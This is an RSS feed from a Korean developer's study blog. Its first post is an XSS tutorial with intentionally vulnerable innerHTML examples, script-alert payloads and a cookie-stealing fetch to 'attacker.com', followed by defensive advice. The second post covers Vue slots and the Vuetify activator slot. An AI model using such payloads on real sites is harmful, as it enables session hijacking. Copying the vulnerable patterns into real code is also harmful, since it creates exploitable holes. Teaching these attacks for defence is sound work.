<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Progrow</title>
    <link>https://somuchthings.tistory.com/</link>
    <description>꾸준히 공부하는 웹 개발자 지망생의 공부 블로그입니다</description>
    <language>ko</language>
    <pubDate>Thu, 21 May 2026 03:34:07 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>jeidiiy</managingEditor>
    <image>
      <title>Progrow</title>
      <url>https://tistory1.daumcdn.net/tistory/3852887/attach/48c2e9e91c4840a49cba105422ef7892</url>
      <link>https://somuchthings.tistory.com</link>
    </image>
    <item>
      <title>XSS</title>
      <link>https://somuchthings.tistory.com/386</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;XSS이란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위키피디아의 설명에 따르면 다음과 같다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;사이트 간 스크립팅, 크로스 사이트 스크립팅(영어: cross-site scripting, XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의하나로 웹사이트 관리자가 아닌 이가&amp;nbsp;웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대표적인 XSS 공격은 세 가지가 있다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Reflected XSS&lt;/li&gt;
&lt;li&gt;Stored XSS&lt;/li&gt;
&lt;li&gt;DOM-based XSS&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나씩 알아보도록 하자.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Reflected XSS&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; Reflected XSS(반사형 XSS)&lt;/b&gt;는 공격자가 만든 악성 스크립트가 웹 서버를 통해 반사되어 사용자의 브라우저에서 실행되는 취약점이다. 주로 피해자가 악성 링크를 클릭할 때 발생하며, 즉각적인 영향을 미친다. 시나리오를 통해 알아보자.&lt;/p&gt;
&lt;pre id=&quot;code_1743080547554&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;검색 페이지&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;검색 페이지&amp;lt;/h1&amp;gt;
    &amp;lt;p id=&quot;result&quot;&amp;gt;&amp;lt;/p&amp;gt;

    &amp;lt;script&amp;gt;
        // URL에서 검색어(query) 값을 가져오는 함수
        function getQueryParam(param) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(param);
        }

        // 검색어를 가져와 그대로 화면에 출력 (취약 코드)
        const query = getQueryParam(&quot;q&quot;);
        if (query) {
            document.getElementById(&quot;result&quot;).innerHTML = `검색 결과: &amp;lt;b&amp;gt;${query}&amp;lt;/b&amp;gt;`;
        }
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드는 사용자가 검색어를 입력하면 q 파라미터의 검증없이 innerHTML을 통해 페이지에 삽입한다. 공격자는 이를 활용해 악성 URL을 생성할 수 있다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;https://example.com/search.html?q=&amp;lt;script&amp;gt;alert('XSS 공격!');&amp;lt;/script&amp;gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 링크를 클릭하면 innerHTML을 통해 &amp;lt;script&amp;gt; 태그가 그대로 실행되며 XSS 공격! 이라는 경고창이 뜨게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 위험한 공격의 경우 쿠키나 LocalStorage의 값을 탈취할 수도 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1743080723323&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 스크립트를 q 파라미터로 넣게 되면 세션 하이재킹과 같은 공격에 노출된다. 이러한 문제 때문에 보안 처리되지 않은 쿠키나 LocalStorage 같은 경우 XSS에 취약하다고 하는 것이다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Stored XSS&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Stored XSS&lt;/b&gt;는 공격자가 악성 스크립트를 서버에 저장하고, 해당 스크립트가 여러 사용자의 브라우저에서 실행되는 보안 취약점이다. 이것은 &lt;b&gt;Reflected XSS&lt;/b&gt;보다 더 위험할 수 있으며, 주로 &lt;b&gt;게시판, 댓글, 리뷰 시스템&lt;/b&gt; 등에서 발생한다. 이번에도 간단한 시나리오를 통해 알아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 웹사이트에 사용자가 댓글을 작성할 수 있는 기능이 있다고 가정하자. 서버가 댓글을 저장하고, 다음과 같은 방식으로 웹페이지에 출력한다고 해보자.&lt;/p&gt;
&lt;pre id=&quot;code_1743081298287&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;댓글 페이지&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;댓글 목록&amp;lt;/h1&amp;gt;
    &amp;lt;div id=&quot;comments&quot;&amp;gt;
        &amp;lt;!-- 서버에서 가져온 댓글 목록이 여기에 표시됨 --&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;script&amp;gt;
        // 서버에서 댓글 목록을 가져온다고 가정
        const comments = [
            &quot;안녕하세요!&quot;,
            &quot;&amp;lt;script&amp;gt;alert('XSS 공격!');&amp;lt;/script&amp;gt;&quot; // 공격자가 작성한 악성 댓글
        ];

        // 댓글을 그대로 출력 (취약 코드)
        comments.forEach(comment =&amp;gt; {
            document.getElementById(&quot;comments&quot;).innerHTML += `&amp;lt;p&amp;gt;${comment}&amp;lt;/p&amp;gt;`;
        });
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 위와 같은 댓글을 작성하여 서버에 해당 댓글이 저장됐다. 그 이후에 사이트에 접속하는 경우 다른 사용자들이 해당 댓글을 불러올 때 &amp;lt;script&amp;gt; 태그가 실행되어 공격을 당하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reflected XSS는 URL을 클릭해야 당하는 공격이지만, Stored XSS는 페이지 방문만으로 공격을 당하므로 훨씬 위험한 공격이다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. DOM-based XSS&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DOM-Based XSS&lt;/b&gt;는 브라우저에서 실행되는 JavaScript 코드가 사용자 입력을 조작하여 &lt;b&gt;DOM(Document Object Model)을 변경&lt;/b&gt;할 때 발생하는 취약점이다.&lt;br /&gt;이 공격은 서버를 거치지 않고 &lt;b&gt;클라이언트 측에서만 발생&lt;/b&gt;한다는 점에서 &lt;b&gt;Reflected XSS, Stored XSS&lt;/b&gt;와 차이가 있다. 이번에도 시나리오를 통해 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 Javscript를 통해 DOM 요소를 조작하는 페이지가 있다고 하자.&lt;/p&gt;
&lt;pre id=&quot;code_1743082367862&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;DOM XSS 테스트&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;안녕하세요!&amp;lt;/h1&amp;gt;
    &amp;lt;p id=&quot;msg&quot;&amp;gt;&amp;lt;/p&amp;gt;

    &amp;lt;script&amp;gt;
        // URL에서 `msg` 파라미터 값을 가져오는 함수
        function getQueryParam(param) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(param);
        }

        // 취약 코드: 사용자 입력을 필터링 없이 DOM에 삽입
        const message = getQueryParam(&quot;msg&quot;);
        if (message) {
            document.getElementById(&quot;msg&quot;).innerHTML = message;
        }
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 피해자가 아래 URL을 클릭하도록 유도한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;https://example.com/index.html?msg=&amp;lt;script&amp;gt;alert('XSS 공격!');&amp;lt;/script&amp;gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피해자가 해당 URL을 열면 msg의 파라미터 값이 그대로 innerHTML에 삽입된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 &amp;lt;script&amp;gt; 태그가 실행되어 피해자의 브라우저에서 악성 스크립트가 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 뭔가 이상한 점을 눈치챈 사람도 있을 것이다. 바로 Reflected XSS와 똑같은 상황이기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 둘의 차이점은 무엇일까?&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Reflected XSS vs DOM-based XSS&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Reflected XSS&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버에서 응답 시 스크립트가 포함돼 있는 공격이다.&lt;/li&gt;
&lt;li&gt;사용자의 입력값을 서버가 별도의 처리를 하지 않고 그대로 반영하여 응답할 때 발생하는 취약점이다.&lt;/li&gt;
&lt;li&gt;취약점 발생 위치: 서버 측 코드(백엔드)&lt;/li&gt;
&lt;li&gt;php, jsp 같은 서버 사이드 렌더링 환경에서 발생한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;DOM-based XSS&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트에서 직접 실행되는 공격이다.&lt;/li&gt;
&lt;li&gt;요청이 서버로 전송되는 것이 아니라 브라우저에서 직접 처리되는 취약점이다.&lt;/li&gt;
&lt;li&gt;취약점 발생 위치: 클라이언트 측 코드(프론트엔드)&lt;/li&gt;
&lt;li&gt;브라우저에서 동적으로 javascript를 활용해 작업할 때 발생한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;공통점&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;피해자의 브라우저에서 실행된다&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;차이점&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Reflected XSS는 서버에서 반사(별도의 처리 없이 그대로 응답)되는 것&lt;/li&gt;
&lt;li&gt;DOM-based XSS는 브라우저에서 직접 발생하는 것&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;XSS 방어&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 공격에 대한 방어 방법으로는 대표적으로 다음과 같은 것들이 있다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;2069&quot; data-start=&quot;2020&quot;&gt;&lt;b&gt;innerHTML 대신 textContent 사용&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(자동 이스케이프)&lt;/li&gt;
&lt;li data-end=&quot;2108&quot; data-start=&quot;2070&quot;&gt;&lt;b&gt;HTML 이스케이프 함수 사용&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(escapeHTML)&lt;/li&gt;
&lt;li data-end=&quot;2171&quot; data-start=&quot;2109&quot;&gt;&lt;b&gt;CSP(Content Security Policy) 설정&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(script-src 'self' 등)&lt;/li&gt;
&lt;li data-end=&quot;2211&quot; data-start=&quot;2172&quot;&gt;&lt;b&gt;입력값 검증 및 필터링&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(&amp;lt;, &amp;gt; 등의 문자 제거)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘에 많이 사용되는 React, Vue 와 같은 프론트엔드 기술들은 자체적으로 입력값에 대해 이스케이프 처리를 해 준다. 그렇다 하더라도 직접 html 코드를 조작하는 상황(Vue의 경우 v-html)이 생길 경우 XSS 공격에 노출된다. 그러므로 항상 신경을 써야 한다. 특히 서버에서 발생하는 취약점(Reflected XSS, Stored XSS)인 경우에는 반드시 서버에서 방어 작업을 해 주어야 한다.&lt;/p&gt;</description>
      <category>Computer Sciences/Security</category>
      <category>XSS</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/386</guid>
      <comments>https://somuchthings.tistory.com/386#entry386comment</comments>
      <pubDate>Thu, 27 Mar 2025 22:56:39 +0900</pubDate>
    </item>
    <item>
      <title>[Vue.js] 슬롯</title>
      <link>https://somuchthings.tistory.com/385</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Vue를 쓰면서 함께 Vuetify도 쓰고 있는데 쓰다보니 슬롯을 활용하는 VMenu 컴포넌트&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;를&lt;span&gt; 쓰게 됐는데 동작이 어떻게 되는지 헷갈려서 정리하는 김에 글을 쓴다. 공식 문서로 봤을 때는 React의 children 이랑 비슷한 느낌으로 알았는데 제대로 쓰려고 하니 오래돼서 그런지 헷갈린다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;슬롯이란?&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;슬롯(slot)은 Vue에서 제공하는 기능으로 컴포넌트의 재활용성과 유연성을 제공한다. 형태는 정해져 있고 내부 컨텐츠가 달라지는 경우에 유용하게 쓸 수 있다. 공식 문서의 예를 빌리면 다음과 같다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1742648152231&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- BaseLayout.vue --&amp;gt;
&amp;lt;div class=&quot;container&quot;&amp;gt;
  &amp;lt;header&amp;gt;
    &amp;lt;!-- 우리는 여기에 헤더 컨텐츠를 원합니다. --&amp;gt;
  &amp;lt;/header&amp;gt;
  &amp;lt;main&amp;gt;
    &amp;lt;!-- 우리는 여기에 메인 컨텐츠를 원합니다. --&amp;gt;
  &amp;lt;/main&amp;gt;
  &amp;lt;footer&amp;gt;
    &amp;lt;!-- 우리는 여기에 푸터 컨텐츠를 원합니다. --&amp;gt;
  &amp;lt;/footer&amp;gt;
&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위처럼 레이아웃이 정해져 있고 내부 컨텐츠가 동적으로 변해야 하는 상황에 슬롯을 사용하기 적합하다. 이런 경우에 슬롯을 적용하면 다음과 같이 사용할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1742648283506&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;
  &amp;lt;header&amp;gt;
    &amp;lt;slot name=&quot;header&quot;&amp;gt;&amp;lt;/slot&amp;gt;
  &amp;lt;/header&amp;gt;
  &amp;lt;main&amp;gt;
    &amp;lt;slot&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;!-- default --&amp;gt;
  &amp;lt;/main&amp;gt;
  &amp;lt;footer&amp;gt;
    &amp;lt;slot name=&quot;footer&quot;&amp;gt;&amp;lt;/slot&amp;gt;
  &amp;lt;/footer&amp;gt;
&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 만들어 놓은 BaseLayout을 사용할 때는 다음과 같이 사용할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1742648426810&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- 부모 컴포넌트 --&amp;gt;
&amp;lt;BaseLayout&amp;gt;
  &amp;lt;template v-slot:header&amp;gt;
    &amp;lt;span&amp;gt;헤더입니다&amp;lt;/span&amp;gt;
  &amp;lt;/template
  &amp;lt;p&amp;gt;메인입니다&amp;lt;/p&amp;gt; &amp;lt;!-- 암시적으로 default에 바인딩됨 --&amp;gt;
  &amp;lt;template v-slot:footer&amp;gt;
    &amp;lt;span&amp;gt;푸터입니다&amp;lt;/span&amp;gt;
  &amp;lt;/template
&amp;lt;/BaseLayout&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명시적으로 default를 지정할 수도 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1742648620699&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- 부모 컴포넌트 --&amp;gt;
&amp;lt;BaseLayout&amp;gt;
  &amp;lt;template #header&amp;gt; &amp;lt;!-- #은 v-slot:의 단축 문법 --&amp;gt;
    &amp;lt;span&amp;gt;헤더입니다&amp;lt;/span&amp;gt;
  &amp;lt;/template&amp;gt;
  &amp;lt;template v-slot:default&amp;gt;
    &amp;lt;p&amp;gt;메인입니다&amp;lt;/p&amp;gt;
  &amp;lt;/template&amp;gt;
  &amp;lt;template v-slot:footer&amp;gt;
    &amp;lt;span&amp;gt;푸터입니다&amp;lt;/span&amp;gt;
  &amp;lt;/template
&amp;lt;/BaseLayout&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;슬롯의 전체적인 구조를 그림으로 보면 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;299&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EumRL/btsMUQaRash/vyoKzndZDAPPz9mR8pHf2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EumRL/btsMUQaRash/vyoKzndZDAPPz9mR8pHf2k/img.png&quot; data-alt=&quot;슬롯 구조 - Vue 공식 문서 참조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EumRL/btsMUQaRash/vyoKzndZDAPPz9mR8pHf2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEumRL%2FbtsMUQaRash%2FvyoKzndZDAPPz9mR8pHf2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;299&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;299&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;슬롯 구조 - Vue 공식 문서 참조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;슬롯을 활용할 때 자식에게 props로 값을 넘겨줄 수도 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1742649447638&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- MyComponent.vue --&amp;gt;
&amp;lt;script setup&amp;gt;
const greetingMessage = '안녕'
&amp;lt;/script&amp;gt;

&amp;lt;template&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;slot :text=&quot;greetingMessage&quot; :count=&quot;1&quot; normal=&quot;normal&quot; /&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;slot의 v-bind:text 로 값을 greetingMessage 로 설정, v-bind:count 로 값을 1 로, 단순 값으로 normal 속성에 &quot;normal&quot; 을 설정해놓았다. MyComponent를 실제로 사용할 때 다음과 같이 사용할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1742649545524&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;template&amp;gt;
  &amp;lt;MyComponent v-slot=&quot;slotProps&quot;&amp;gt;
    {{ slotProps.text }} {{ slotProps.count }} {{ slotProps.normal }}
  &amp;lt;/MyComponent&amp;gt;
&amp;lt;/template&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;slotProps에는 text와 count의 값이 있고 이를 활용해서 위와 같이 사용한 것이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 내가 헷갈렸던 코드를 살펴보자.&lt;/p&gt;
&lt;pre id=&quot;code_1742648846745&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;v-menu&amp;gt;
  &amp;lt;template #activator=&quot;{ props }&quot;&amp;gt;
    &amp;lt;v-btn
      color=&quot;primary&quot;
      v-bind=&quot;props&quot;
    &amp;gt;
      Activator slot
    &amp;lt;/v-btn&amp;gt;
  &amp;lt;/template&amp;gt;
  &amp;lt;v-list&amp;gt;
    &amp;lt;v-list-item
      v-for=&quot;(item, index) in items&quot;
        :key=&quot;index&quot;
        :value=&quot;index&quot;
    &amp;gt;
      &amp;lt;v-list-item-title&amp;gt;{{ item.title }}&amp;lt;/v-list-item-title&amp;gt;
    &amp;lt;/v-list-item&amp;gt;
  &amp;lt;/v-list&amp;gt;
&amp;lt;/v-menu&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드에서는 v-menu 가 슬롯을 사용하는 컴포넌트이고 내부에서 slotProps를 #activator에서 사용할 수 있게 전달해준다. {prop}로 작성한 구문은 구조분해할당 문법으로 slotProps로 전달받은 값들 중 props만 빼낸 것이다. 실제 slotProps를 보면 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;92&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bciBBg/btsMT92WVjM/QzQVweVl4kl5r87pBjsAY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bciBBg/btsMT92WVjM/QzQVweVl4kl5r87pBjsAY1/img.png&quot; data-alt=&quot;slotProps&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bciBBg/btsMT92WVjM/QzQVweVl4kl5r87pBjsAY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbciBBg%2FbtsMT92WVjM%2FQzQVweVl4kl5r87pBjsAY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;673&quot; height=&quot;92&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;92&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;slotProps&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 props를 Menu를 활성화시킬 요소(activator)에 v-bind로 바인딩해서 VMenu를 사용하도록 공식 문서에서 설명하고 있다. 실제로 props만 버튼에 바인딩하면 버튼을 클릭했을 때 메뉴가 열리는데, 이는 props에 onClick과 같은 이벤트 처리 함수가 담겨있기 때문이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;320&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwUWxR/btsMTG73f6D/ZPcBlUAFjTMBxvI2V01Jz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwUWxR/btsMTG73f6D/ZPcBlUAFjTMBxvI2V01Jz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwUWxR/btsMTG73f6D/ZPcBlUAFjTMBxvI2V01Jz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwUWxR%2FbtsMTG73f6D%2FZPcBlUAFjTMBxvI2V01Jz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;320&quot; height=&quot;130&quot; data-origin-width=&quot;320&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마 VMenu의 내부 코드를 예상해보면 다음과 같을 것이다.&lt;/p&gt;
&lt;pre id=&quot;code_1742649952347&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- VMenu.vue --&amp;gt;
&amp;lt;script setup&amp;gt;
// ...
&amp;lt;/script&amp;gt;
&amp;lt;template&amp;gt;
// ...
  &amp;lt;slot name=&quot;activator&quot; isActive=&quot;false&quot; props=&quot;{ ... }&quot; targetRef=&quot;{ ... }&quot; /&amp;gt;
// ...
&amp;lt;/template&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자세한 사항은 공식 문서를 참고하기 바란다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ko.vuejs.org/guide/components/slots.html#slots&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ko.vuejs.org/guide/components/slots.html#slots&lt;/a&gt;&lt;/p&gt;
